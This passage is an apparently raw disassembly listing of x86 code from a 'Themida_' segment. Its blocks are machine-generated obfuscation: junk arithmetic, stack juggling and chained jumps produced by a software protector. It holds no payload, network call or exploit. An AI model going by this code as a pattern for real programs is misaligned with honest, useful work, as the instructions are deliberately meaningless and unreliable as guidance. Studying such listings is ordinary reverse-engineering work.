sub edx, 4C1F764Ch
jmp loc_5AD538
; ---------------------------------------------------------------------------
loc_59D5FF: ; CODE XREF: Themida_:005A0A93j
xor dword ptr [esp], 32F41360h
pop ecx
push ebx
jmp loc_5AE7BA
; ---------------------------------------------------------------------------
loc_59D60D: ; CODE XREF: Themida_:0059FD4Ej
xchg ecx, [esp]
jmp loc_59B836
; ---------------------------------------------------------------------------
loc_59D615: ; CODE XREF: Themida_:0059B958j
btr [esp], ax
pushf
jmp loc_5AB270
; ---------------------------------------------------------------------------
loc_59D620: ; CODE XREF: Themida_:005AA424j
pop ebx
add esp, 4
sub esi, 4FFA0659h
add esi, ebp
add esi, 4FFA0659h
add esi, 0BAB2AE1h
jmp loc_5AE200
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_5A07A9
; ---------------------------------------------------------------------------
loc_59D64F: ; CODE XREF: Themida_:005A1EFAj
xchg ebp, [esp]
pop esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5AE0BD
; ---------------------------------------------------------------------------
loc_59D66A: ; CODE XREF: Themida_:005ABBBAj
mov ebp, [esp]
add esp, 4
sub ecx, 0DF4EF206h
add ebp, 4E431F80h
add ebp, ecx
sub ebp, 4E431F80h
jmp loc_59B0C3
; ---------------------------------------------------------------------------
loc_59D68C: ; CODE XREF: Themida_:0059EC11j
xor edi, 57C37200h
sub esi, 6233077Bh
add esi, edi
push edx
jmp loc_5A6BE5
; ---------------------------------------------------------------------------
loc_59D6A0: ; CODE XREF: Themida_:005AB54Bj
mov [esp], ebp
not dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
xchg ebp, [esp]
push dword ptr [esp]
jmp loc_59CE76
; ---------------------------------------------------------------------------
loc_59D6BB: ; CODE XREF: Themida_:0059A4E9j
neg di
add di, 5405h
sub si, di
pop edi
xor bp, si
pop esi
and di, bp
pop ebp
add di, 37A4h
xor di, 1FD3h
sub cx, 30EDh
add cx, 6181h
add cx, di
sub cx, 6181h
add cx, 30EDh
pop edi
xor ax, cx
pop ecx
xor bx, ax
movzx eax, ax
push 5E40h
mov [esp], edx
push 2701h
mov [esp], esp
push ecx
mov ecx, 4
jmp loc_59DA9A
; ---------------------------------------------------------------------------
loc_59D716: ; CODE XREF: Themida_:00599091j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
jmp loc_59ACF8
; ---------------------------------------------------------------------------
loc_59D73A: ; CODE XREF: Themida_:005AF492j
pop esp
jmp loc_59B17A
; ---------------------------------------------------------------------------
loc_59D740: ; CODE XREF: Themida_:0059EF2Dj
pop edx
add esi, 4
xchg esi, [esp]
jmp loc_5A5EAE
; ---------------------------------------------------------------------------
loc_59D74C: ; CODE XREF: Themida_:005A623Aj
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_5A7682
; ---------------------------------------------------------------------------
loc_59D75C: ; CODE XREF: Themida_:0059FE31j
inc esi
push ebp
jmp loc_59A689
; ---------------------------------------------------------------------------
loc_59D763: ; CODE XREF: Themida_:005A629Ej
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_59D561
; ---------------------------------------------------------------------------
loc_59D775: ; CODE XREF: Themida_:0059E010j
push dword ptr [esp]
jmp loc_5AD56F
; ---------------------------------------------------------------------------
loc_59D77D: ; CODE XREF: Themida_:0059C92Cj
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5A54A4
; ---------------------------------------------------------------------------
loc_59D78D: ; CODE XREF: Themida_:005A4CEAj
neg ebp
add ebp, 48A56DFCh
mov edi, ebp
pop ebp
jmp loc_5A4911
; ---------------------------------------------------------------------------
loc_59D79D: ; CODE XREF: Themida_:0059C038j
mov edi, 4EB04342h
jmp loc_5AF205
; ---------------------------------------------------------------------------
loc_59D7A7: ; CODE XREF: Themida_:005A70E9j
sub dl, 22h
jmp loc_5A2C40
; ---------------------------------------------------------------------------
loc_59D7AF: ; CODE XREF: Themida_:005A7E7Bj
pop edi
xchg ecx, [esp]
pop esp
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
jmp loc_59DC19
; ---------------------------------------------------------------------------
loc_59D7D7: ; CODE XREF: Themida_:005A0568j
mov [esp], esi
push 49A2h
mov [esp], ebx
mov ebx, esp
push edi
mov edi, 4
add ebx, edi
pop edi
jmp loc_5A9016
; ---------------------------------------------------------------------------
loc_59D7F2: ; CODE XREF: Themida_:005AED96j
sub bh, 0BDh
mov cl, bh
pop ebx
jmp loc_5A0C82
; ---------------------------------------------------------------------------
loc_59D7FD: ; CODE XREF: Themida_:005AD2A4j
xor cl, 0C4h
add bl, cl
pop ecx
sub bl, 0A7h
add bl, 0C5h
jmp loc_5A873E
; ---------------------------------------------------------------------------
loc_59D80E: ; CODE XREF: Themida_:005AAE4Cj
add dl, 5
mov ch, dl
jmp loc_5AB49A
; ---------------------------------------------------------------------------
loc_59D818: ; CODE XREF: Themida_:005AD0F8j
xchg esi, [esp]
pop esp
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A5302
; ---------------------------------------------------------------------------
loc_59D82A: ; CODE XREF: Themida_:005A1C92j
pop ebx
add ebx, 16766F87h
sub ebx, esi
sub ebx, 16766F87h
mov esi, [esp]
add esp, 4
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5AEFBC
; ---------------------------------------------------------------------------
loc_59D84E: ; CODE XREF: Themida_:005A8267j
add ebx, edi
pop edi
push 71D7h
mov [esp], ecx
push ebx
jmp loc_59E9E9
; ---------------------------------------------------------------------------
loc_59D85F: ; CODE XREF: Themida_:005A54D8j
push esi
mov esi, 5CDD195Fh
mov ebp, 6E9C7F6Dh
sub ebp, esi
jmp loc_5A88DC
; ---------------------------------------------------------------------------
loc_59D871: ; CODE XREF: Themida_:005AC9CEj
add ebx, 8C8BD398h
add esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A537B
; ---------------------------------------------------------------------------
loc_59D887: ; CODE XREF: Themida_:005A0045j
neg edi
jmp loc_5ABAB4
; ---------------------------------------------------------------------------
loc_59D88E: ; CODE XREF: Themida_:005A8AE7j
jmp loc_5AD15F
; ---------------------------------------------------------------------------
loc_59D893: ; CODE XREF: Themida_:005A3985j
mov esi, esp
push ecx
push 4
pop ecx
sub esi, 72A9718Ch
add esi, ecx
push edx
mov edx, 72A9718Ch
jmp loc_5A2E3F
; ---------------------------------------------------------------------------
loc_59D8AF: ; CODE XREF: Themida_:0059DC9Fj
xchg edi, [esp]
mov esp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
or ecx, ecx
jz loc_5A0562
push 61B9h
push 810h
jmp loc_5AF4C9
; ---------------------------------------------------------------------------
loc_59D8DD: ; CODE XREF: Themida_:0059E916j
; Themida_:005A4380j
add edx, esi
mov esi, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5AD784
; ---------------------------------------------------------------------------
loc_59D8F3: ; CODE XREF: Themida_:005AC67Dj
sub ecx, 0D4623DDDh
or ecx, 3326565Ah
jmp loc_59B252
; ---------------------------------------------------------------------------
loc_59D904: ; CODE XREF: Themida_:005996ACj
xor eax, ecx
pop ecx
shl eax, 4
shl eax, 5
push edx
push ebp
mov ebp, 34141204h
jmp loc_5A587B
; ---------------------------------------------------------------------------
loc_59D919: ; CODE XREF: Themida_:0059E7EAj
mov ebx, [esp]
jmp loc_5A1135
; ---------------------------------------------------------------------------
loc_59D921: ; CODE XREF: Themida_:0059B5E8j
add edi, 122D5E05h
jmp loc_5A6A25
; ---------------------------------------------------------------------------
loc_59D92C: ; CODE XREF: Themida_:0059DD83j
mov ebp, 6FA40152h
sub edx, 36372CA2h
add edx, ebp
add edx, 36372CA2h
pop ebp
sub edx, eax
jmp loc_5A3A26
; ---------------------------------------------------------------------------
loc_59D947: ; CODE XREF: Themida_:005A2E01j
push 1B40h
mov [esp], edx
mov edx, 16C256D0h
or edx, 2E6F6006h
jmp loc_5A7B7C
; ---------------------------------------------------------------------------
loc_59D95F: ; CODE XREF: Themida_:005AB038j
add dword ptr [eax], 1
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A84A2
; ---------------------------------------------------------------------------
loc_59D970: ; CODE XREF: Themida_:0059BA00j
push 13E13248h
jmp loc_5A2219
; ---------------------------------------------------------------------------
loc_59D97A: ; CODE XREF: Themida_:005ACB69j
add edx, 684E71BFh
sub esp, 4
mov [esp], esi
jmp loc_5AC961
; ---------------------------------------------------------------------------
loc_59D98B: ; CODE XREF: Themida_:0059F11Fj
; Themida_:005A0868j
pop edi
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_5A6CAD
; ---------------------------------------------------------------------------
loc_59D9A3: ; CODE XREF: Themida_:005A5BE6j
add eax, 2DFE7264h
add eax, 53B600DAh
sub eax, esi
jmp loc_5A19A9
; ---------------------------------------------------------------------------
loc_59D9B4: ; CODE XREF: Themida_:005A0BD3j
push 0E37h
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
sub esi, 4
jmp loc_5A6DC5
; ---------------------------------------------------------------------------
loc_59D9CF: ; CODE XREF: Themida_:0059E104j
; Themida_:005AE61Aj
push dword ptr [esp]
pop eax
jmp loc_5A3E51
; ---------------------------------------------------------------------------
loc_59D9D8: ; CODE XREF: Themida_:005A423Cj
xchg eax, [esp]
pop esp
jmp loc_5AE460
; ---------------------------------------------------------------------------
loc_59D9E1: ; CODE XREF: Themida_:005A1501j
inc ebp
jo loc_59C503
and ebp, 18D217C8h
jl loc_59BE9F
xor ebp, 3F2A60AFh
mov edx, ebp
pop ebp
push edx
sub dword ptr [esp], 5A611C5Ch
pop edi
add edi, 5A611C5Ch
pop edx
jmp loc_59A581
; ---------------------------------------------------------------------------
loc_59DA12: ; CODE XREF: Themida_:005A08C8j
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
mov eax, edx
jmp loc_5A1567
; ---------------------------------------------------------------------------
loc_59DA25: ; CODE XREF: Themida_:0059D297j
; Themida_:005A7779j
mov [esp], ebx
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_59DF66
; ---------------------------------------------------------------------------
loc_59DA43: ; CODE XREF: Themida_:005A8198j
xor edx, ebp
pop ebp
shl edx, 8
not edx
jmp loc_5A36CA
; ---------------------------------------------------------------------------
loc_59DA50: ; CODE XREF: Themida_:0059BBB8j
xchg esi, ebp
jmp loc_5ACC19
; ---------------------------------------------------------------------------
loc_59DA57: ; CODE XREF: Themida_:005AE315j
xor esi, ebp
pop ebp
mov edx, esi
pop esi
and eax, edx
pop edx
or edx, eax
shl edx, 1
push 7585h
jmp loc_5AC9AA
; ---------------------------------------------------------------------------
loc_59DA6E: ; CODE XREF: Themida_:0059C7F1j
; Themida_:005A368Cj
or ebp, 7E035239h
inc ebp
sub ebp, 7F975EB6h
add esi, 4BB53C0Eh
add esi, ebp
sub esi, 4BB53C0Eh
pop ebp
jmp loc_59D12C
; ---------------------------------------------------------------------------
loc_59DA8F: ; CODE XREF: Themida_:005A5212j
add ecx, 5BC07827h
jmp loc_5A31FA
; ---------------------------------------------------------------------------
loc_59DA9A: ; CODE XREF: Themida_:0059D711j
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
push esi
mov esi, 59D03EB4h
dec esi
push ebp
push ebx
mov ebx, 59353873h
mov ebp, ebx
pop ebx
push edx
mov edx, 4064126Fh
neg edx
inc edx
xor edx, 0D4D5FC40h
xor ebp, edx
pop edx
xor ebp, 48F173CEh
sub ebp, 60BA4674h
add esi, ebp
mov ebp, [esp]
add esp, 4
xor esi, 73A052AAh
add edx, 62FB32ABh
jmp loc_5AE854
; ---------------------------------------------------------------------------
loc_59DAF5: ; CODE XREF: Themida_:00599EB9j
shl ebp, 4
push edx
mov edx, 48D825E3h
add edx, 1BC22A0Ah
add ebp, edx
pop edx
shl ebp, 5
jmp loc_5AECCF
; ---------------------------------------------------------------------------
loc_59DB0F: ; CODE XREF: Themida_:005A7810j
push 6608h
mov [esp], esi
push eax
mov eax, 24914E3h
jmp loc_59C30E
; ---------------------------------------------------------------------------
loc_59DB22: ; CODE XREF: Themida_:0059EF34j
jnz loc_5A014D
add bp, 5E9Bh
mov bx, bp
mov ebp, [esp]
push ebx
pop ebp
loc_59DB35: ; CODE XREF: Themida_:005A5E98j
mov ecx, 37CC1008h
push 6B36h
mov [esp], edi
mov edi, 0A9E3D0Ah
jmp loc_5ACB2E
; ---------------------------------------------------------------------------
loc_59DB4C: ; CODE XREF: Themida_:0059A19Bj
cmp cx, ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59DB55: ; CODE XREF: Themida_:005A6BBBj
mov [esp], edi
jmp loc_5A7F13
; ---------------------------------------------------------------------------
loc_59DB5D: ; CODE XREF: Themida_:0059DEB2j
push dword ptr [esp]
pop edx
push ebx
jmp loc_5A4213
; ---------------------------------------------------------------------------
loc_59DB67: ; CODE XREF: Themida_:005A5182j
pop esp
imul cl
movzx cx, ah
push small 70D3h
mov [esp], cx
jmp loc_59C8D3
; ---------------------------------------------------------------------------
loc_59DB7B: ; CODE XREF: Themida_:005A791Bj
mov [esp], ebx
jmp loc_5A94AE
; ---------------------------------------------------------------------------
loc_59DB83: ; CODE XREF: Themida_:005A8571j
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
jmp loc_5A2982
; ---------------------------------------------------------------------------
loc_59DB9C: ; CODE XREF: Themida_:005AB3AEj
xor al, 0ACh
jmp loc_5A37D8
; ---------------------------------------------------------------------------
loc_59DBA3: ; CODE XREF: Themida_:005AC854j
sub esp, 4
mov [esp], ebp
jmp loc_5A3562
; ---------------------------------------------------------------------------
loc_59DBAE: ; CODE XREF: Themida_:00599DC6j
mov ebx, [esp]
jmp loc_59F5CE
; ---------------------------------------------------------------------------
loc_59DBB6: ; CODE XREF: Themida_:005AE438j
push 25BD3037h
pop ebx
neg ebx
push edx
mov edx, 46A84501h
jmp loc_5AC6A2
; ---------------------------------------------------------------------------
loc_59DBC9: ; CODE XREF: Themida_:005A59B2j
push 26B5h
mov [esp], esp
add dword ptr [esp], 4
pop esi
jmp loc_5988BA
; ---------------------------------------------------------------------------
loc_59DBDB: ; CODE XREF: Themida_:005A0F69j
mov edx, 6FA24D0Ah
jmp loc_59F6E9
; ---------------------------------------------------------------------------
loc_59DBE5: ; CODE XREF: Themida_:00599A7Bj
pop ecx
push ecx
mov ecx, esp
push 418Bh
mov [esp], edx
mov edx, 4
add ecx, edx
jmp loc_5A920E
; ---------------------------------------------------------------------------
loc_59DBFD: ; CODE XREF: Themida_:005A5662j
not edi
shr edi, 8
add edi, 0FFFFFFFFh
jmp loc_59C163
; ---------------------------------------------------------------------------
loc_59DC0A: ; CODE XREF: Themida_:005A5331j
; Themida_:005A59DAj
sub ebx, edi
mov edi, [esp]
add esp, 4
sub eax, ebx
jmp loc_5A03E3
; ---------------------------------------------------------------------------
loc_59DC19: ; CODE XREF: Themida_:0059D7D2j
push esi
mov esi, 1A5F035Dh
or esi, 0FC82263h
push eax
jmp loc_5ADE0C
; ---------------------------------------------------------------------------
loc_59DC2B: ; CODE XREF: Themida_:005A4955j
; Themida_:005A9A12j
push edi
mov edi, esp
add edi, 4
push esi
jmp loc_5A56CB
; ---------------------------------------------------------------------------
loc_59DC3A: ; CODE XREF: Themida_:005A4058j
pop edx
push ebp
mov ebp, esp
jmp loc_59FF06
; ---------------------------------------------------------------------------
loc_59DC43: ; CODE XREF: Themida_:005AD505j
add eax, 786A0A9Ch
sub eax, ebp
sub eax, 786A0A9Ch
sub esp, 4
mov [esp], ebx
push eax
jmp loc_5A28DE
; ---------------------------------------------------------------------------
loc_59DC5B: ; CODE XREF: Themida_:005A1071j
add eax, 481579BDh
add eax, 7DA52320h
add eax, esi
jmp loc_5A19CF
; ---------------------------------------------------------------------------
loc_59DC6C: ; CODE XREF: Themida_:0059E5CBj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A5910
; ---------------------------------------------------------------------------
loc_59DC83: ; CODE XREF: Themida_:005ADA4Cj
mov [esp], ebp
mov ebp, 67C39F2h
not ebp
push ebp
jmp loc_5A74F2
; ---------------------------------------------------------------------------
loc_59DC93: ; CODE XREF: Themida_:0059C63Aj
add edi, 4
add edi, 4
jmp loc_59D8AF
; ---------------------------------------------------------------------------
loc_59DCA4: ; CODE XREF: Themida_:0059C03Ej
add ebx, 3CAFF774h
mov esi, ebx
pop ebx
jmp loc_5A66C1
; ---------------------------------------------------------------------------
loc_59DCB2: ; CODE XREF: Themida_:loc_5AE1E0j
or cl, 0F6h
jb loc_59AC9C
jmp loc_5A2A97
; ---------------------------------------------------------------------------
loc_59DCC0: ; CODE XREF: Themida_:005AA616j
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 4B921222h
jmp loc_599696
; ---------------------------------------------------------------------------
loc_59DCD9: ; CODE XREF: Themida_:005A6FD8j
add esp, 4
add esp, 4
sub esp, 4
jmp loc_5A6B3E
; ---------------------------------------------------------------------------
loc_59DCEA: ; CODE XREF: Themida_:005AF0D5j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59DCEF: ; CODE XREF: Themida_:005ADE17j
not dword ptr [esp]
mov edi, [esp]
add esp, 4
xchg edi, ebx
add ebx, 60E645A2h
add ebx, 0C6E358h
xor eax, ebx
mov ebx, [esp]
add esp, 4
push ebx
sub esp, 4
mov [esp], ecx
mov ecx, 527E31BCh
push edi
mov edi, 527E29BCh
add ecx, 37B240Fh
sub ecx, edi
push esi
mov esi, 37B240Fh
sub ecx, esi
pop esi
mov edi, [esp]
add esp, 4
mov ebx, ecx
pop ecx
and eax, ebx
jmp loc_59BB08
; ---------------------------------------------------------------------------
loc_59DD4D: ; CODE XREF: Themida_:005AD925j
push eax
mov eax, 1A5509CEh
shr eax, 4
not eax
neg eax
not eax
jmp loc_5AA453
; ---------------------------------------------------------------------------
loc_59DD61: ; CODE XREF: Themida_:005ACCC4j
mov eax, 4F1B4DD1h
shl eax, 8
or eax, 51367673h
shl eax, 1
shr eax, 5
xor eax, 2A288A66h
add ebx, eax
pop eax
jmp loc_5A772D
; ---------------------------------------------------------------------------
loc_59DD80: ; CODE XREF: Themida_:0059B4FCj
mov [esp], ebp
jmp loc_59D92C
; ---------------------------------------------------------------------------
loc_59DD88: ; CODE XREF: Themida_:0059C34Ej
sub bl, ah
pop ax
sub bl, 6Bh
push ecx
mov ch, 0FCh
xor ch, 2Ah
jmp loc_5A77F8
; ---------------------------------------------------------------------------
loc_59DD9A: ; CODE XREF: Themida_:005AE3CAj
pop ecx
jmp loc_598BC5
; ---------------------------------------------------------------------------
loc_59DDA0: ; CODE XREF: Themida_:005A6590j
add esi, 0FA1DDA24h
add edx, esi
pop esi
sub esp, 4
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_5A3166
; ---------------------------------------------------------------------------
loc_59DDB8: ; CODE XREF: Themida_:0059E873j
mov ebp, 952AC319h
sub edx, ebp
pop ebp
sub eax, 57C97726h
push edi
mov edi, 70967471h
jmp loc_5A3849
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_5A6AF3
; ---------------------------------------------------------------------------
loc_59DDDF: ; CODE XREF: Themida_:0059D091j
; Themida_:005AB9DDj
mov ebx, esp
add ebx, 4
jmp loc_5A7A0A
; ---------------------------------------------------------------------------
loc_59DDEC: ; CODE XREF: Themida_:0059874Bj
add esi, edi
sub esi, 5FEB70F2h
mov edi, [esp]
add esp, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push 24h
pop edx
sub edx, 44F93754h
add edx, edi
jmp loc_5A0485
; ---------------------------------------------------------------------------
loc_59DE1D: ; CODE XREF: Themida_:005A868Dj
sub esp, 4
mov [esp], esi
push 38B57FDAh
pop esi
sub esi, 38B57FD6h
push edx
push edi
mov edi, esi
mov edx, edi
pop edi
mov edi, edx
pop edx
pop esi
sub edx, 45626E6Fh
add edx, edi
jmp loc_5A692A
; ---------------------------------------------------------------------------
loc_59DE47: ; CODE XREF: Themida_:loc_5A34F4j
; Themida_:005ACEBDj
mov edi, 4
add edx, 3C1B79BBh
jmp loc_5A5598
; ---------------------------------------------------------------------------
loc_59DE57: ; CODE XREF: Themida_:005AB31Bj
push ecx
jmp loc_59FFAC
; ---------------------------------------------------------------------------
loc_59DE5D: ; CODE XREF: Themida_:005ABE6Cj
xchg esi, [esp]
pop esp
retn
; ---------------------------------------------------------------------------
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59DE67: ; CODE XREF: Themida_:005A8A66j
sub esi, edx
pop edx
add esi, edx
add esi, 682A3A1Ch
pop edx
sub esi, 4
jmp loc_59AB47
; ---------------------------------------------------------------------------
loc_59DE7E: ; CODE XREF: Themida_:005AEF26j
mov [esp], edi
push 692Ah
mov [esp], edx
push eax
mov eax, 3C9B3428h
shl eax, 5
jp loc_5A64B0
neg eax
js loc_5AA53A
shr eax, 4
mov ebx, eax
push ebp
loc_59DEA6: ; CODE XREF: Themida_:005A8A81j
; Themida_:005AD836j
sub eax, 20F21502h
sub eax, edx
add eax, 20F21502h
jmp loc_59DB5D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59DEC5: ; CODE XREF: Themida_:005A7195j
mov [esp], esi
sub esp, 4
push esp
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
pop esi
mov esi, [esp]
jmp loc_5AF1D5
; ---------------------------------------------------------------------------
loc_59DEE2: ; CODE XREF: Themida_:005ADEADj
; Themida_:005AEECFj
mov ecx, ebx
jmp loc_59A7D5
; ---------------------------------------------------------------------------
loc_59DEE9: ; CODE XREF: Themida_:005AC8DAj
mov ebp, [esp]
add esp, 4
shr ebp, 4
xor ebp, 61214F10h
jmp loc_59CB19
; ---------------------------------------------------------------------------
loc_59DF00: ; CODE XREF: Themida_:005ADB67j
add [esp+8], ebx
pop ebx
pop ebp
pop dword ptr [edi+20h]
jmp loc_5A77FF
; ---------------------------------------------------------------------------
loc_59DF0E: ; CODE XREF: Themida_:005A6FCDj
mov esi, 2388447Dh
sub edx, esi
pop esi
add esi, edx
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5A4E59
; ---------------------------------------------------------------------------
loc_59DF2A: ; CODE XREF: Themida_:00599A1Dj
mov edx, 0DAF7E51h
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_5A86DD
; ---------------------------------------------------------------------------
loc_59DF40: ; CODE XREF: Themida_:005A0DF3j
push edi
mov edi, 57F37C19h
inc edi
jp loc_5A4FC0
xor edi, 71C61AC3h
jbe loc_5AC588
add edi, 0F8160DDCh
mov edx, edi
jmp loc_59F022
; ---------------------------------------------------------------------------
loc_59DF66: ; CODE XREF: Themida_:0059DA3Ej
mov [esp], ecx
jmp loc_5AB8EA
; ---------------------------------------------------------------------------
loc_59DF6E: ; CODE XREF: Themida_:005A7C3Aj
mov [esp], edx
mov dl, 73h
add al, dl
pop edx
jmp loc_5A8C26
; ---------------------------------------------------------------------------
loc_59DF7B: ; CODE XREF: Themida_:005AB7E8j
mov edi, [esp]
add esp, 4
sub edi, 20A32C03h
jmp loc_5A68BA
; ---------------------------------------------------------------------------
loc_59DF8C: ; CODE XREF: Themida_:005A3A83j
xchg eax, [esp]
mov esp, [esp]
jmp loc_59C02F
; ---------------------------------------------------------------------------
loc_59DF97: ; CODE XREF: Themida_:005A638Dj
pop edx
add al, cl
pop ecx
push 2CEh
mov [esp], edx
mov dh, 89h
add dh, 8
push eax
mov al, 58h
jmp loc_5AB3A7
; ---------------------------------------------------------------------------
loc_59DFB0: ; CODE XREF: Themida_:0059CBDFj
push edx
mov edx, 0FDB7C73h
jmp loc_5A581C
; ---------------------------------------------------------------------------
loc_59DFBB: ; CODE XREF: Themida_:0059BB7Aj
jno loc_5A2B8F
sub ebp, 5B4D5506h
jmp loc_5A650C
; ---------------------------------------------------------------------------
pop edi
add ebp, eax
push edi
loc_59DFD0: ; CODE XREF: Themida_:005ACDDCj
xor edx, 0F2336367h
mov ebx, edx
mov edx, [esp]
add esp, 4
sub dword ptr [esp+4], 1AF52AF8h
jmp loc_5A2BBE
; ---------------------------------------------------------------------------
loc_59DFEB: ; CODE XREF: Themida_:005A3363j
jle loc_5A9427
jmp loc_5A047B
; ---------------------------------------------------------------------------
mov cx, [esp]
add bh, 53h
push esi
loc_59DFFE: ; CODE XREF: Themida_:loc_5A63C1j
dec ebp
jnp loc_59C589
push ecx
mov ecx, 3AB0DC03h
xor ebp, ecx
pop ecx
mov ebx, ebp
jmp loc_59D775
; ---------------------------------------------------------------------------
loc_59E015: ; CODE XREF: Themida_:005AD83Ej
neg ch
jmp loc_5AC7A9
; ---------------------------------------------------------------------------
loc_59E01C: ; CODE XREF: Themida_:005AE066j
sub cl, 0D4h
sub cl, 6
jmp loc_59921B
; ---------------------------------------------------------------------------
loc_59E027: ; CODE XREF: Themida_:005A5CB8j
mov [esp], eax
push esp
pop eax
jmp loc_5A61F7
; ---------------------------------------------------------------------------
loc_59E031: ; CODE XREF: Themida_:0059CE38j
pop dword ptr [esp]
pop esp
mov [esp], eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
test cl, al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59E051: ; CODE XREF: Themida_:005A0161j
; Themida_:005AED39j
sub esi, 33A12661h
add esi, eax
add esi, 33A12661h
jmp loc_5A6578
; ---------------------------------------------------------------------------
loc_59E064: ; CODE XREF: Themida_:005A6FE2j
pop ecx
shl edi, 1
push edx
mov edx, 13796CB6h
add edi, edx
jmp loc_59B5ED
; ---------------------------------------------------------------------------
loc_59E074: ; CODE XREF: Themida_:005A4B1Ej
jmp loc_5A7112
; ---------------------------------------------------------------------------
push 43DAh
mov [esp], esp
jmp loc_5A20E2
; ---------------------------------------------------------------------------
loc_59E086: ; CODE XREF: Themida_:0059FA7Dj
dec edx
jg loc_5A5328
sub edx, 4CE67444h
shl edx, 8
jns loc_5AE327
sub edx, 5864A9CFh
mov ecx, edx
mov edx, [esp]
add esp, 4
or ecx, 16E61F92h
jnp loc_5AA125
sub ecx, 0FFFFFFFFh
xor ecx, 17E60F97h
mov ebx, ecx
loc_59E0C7: ; CODE XREF: Themida_:005A4386j
; Themida_:005A7878j
add ebx, 583F9CBFh
jmp loc_599163
; ---------------------------------------------------------------------------
loc_59E0D2: ; CODE XREF: Themida_:0059FEBAj
and ecx, ebx
pop ebx
shr ecx, 7
push 4744h
mov [esp], edx
mov edx, ebx
push 271Dh
mov [esp], esi
push edx
pop esi
mov eax, esi
mov esi, [esp]
push 790Ch
jmp loc_5ACF35
; ---------------------------------------------------------------------------
loc_59E0FB: ; CODE XREF: Themida_:005A3BE2j
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
jmp loc_59D9CF
; ---------------------------------------------------------------------------
loc_59E109: ; CODE XREF: Themida_:005AA281j
sub esp, 4
mov [esp], edi
push eax
mov eax, 34F024B0h
sub eax, 34F024ACh
push eax
xor dword ptr [esp], 520A307Ch
pop edi
xor edi, 520A307Ch
pop eax
push 40C9h
jmp loc_5A9C4C
; ---------------------------------------------------------------------------
loc_59E137: ; CODE XREF: Themida_:0059D51Bj
mov ebp, 2BBF19AEh
mov edi, ebp
pop ebp
neg edi
xchg ebx, edi
neg ebx
xor edi, ebx
jmp loc_5A3488
; ---------------------------------------------------------------------------
loc_59E14C: ; CODE XREF: Themida_:005A12FBj
add ch, 8Dh
add bl, ch
pop ecx
add bl, ah
jmp loc_5A0FAF
; ---------------------------------------------------------------------------
loc_59E159: ; CODE XREF: Themida_:005A8097j
mov eax, 4F9A109Ch
sub eax, 623456F6h
and eax, 34AD2187h
neg eax
dec eax
add eax, 66D95D15h
xor ebx, eax
jmp loc_5ADA9D
; ---------------------------------------------------------------------------
loc_59E177: ; CODE XREF: Themida_:00598808j
mov ecx, esi
jmp loc_5A1F5A
; ---------------------------------------------------------------------------
loc_59E17E: ; CODE XREF: Themida_:005ACE1Bj
mov cl, 4Fh
and cl, 8Ah
jo loc_599585
sub cl, 38h
jg loc_5A127F
or cl, 9Ah
jg loc_5A873E
shl cl, 2
jnz loc_598A4D
add cl, 1Eh
neg cl
jmp loc_5A1057
; ---------------------------------------------------------------------------
loc_59E1AE: ; CODE XREF: Themida_:005A17C2j
mov esi, 4
add ebp, esi
pop esi
jmp loc_59ED9E
; ---------------------------------------------------------------------------
loc_59E1BB: ; CODE XREF: Themida_:005A7AE0j
xor edx, 3944398Ch
jz loc_5A81E7
xor edx, 0ABCA726h
push edi
mov edi, 1DE5486Ah
jmp loc_5A1E2E
; ---------------------------------------------------------------------------
loc_59E1D8: ; CODE XREF: Themida_:005AE941j
push eax
mov eax, 6E7605BCh
add eax, 62764D6Fh
jmp loc_5A4AD0
; ---------------------------------------------------------------------------
loc_59E1E8: ; CODE XREF: Themida_:0059F59Fj
add esi, 39DB0629h
sub ebp, 0C5538EBh
sub ebp, esi
add ebp, 0C5538EBh
pop esi
push 2EAFh
mov [esp], edi
push ebx
mov ebx, esp
add ebx, 4
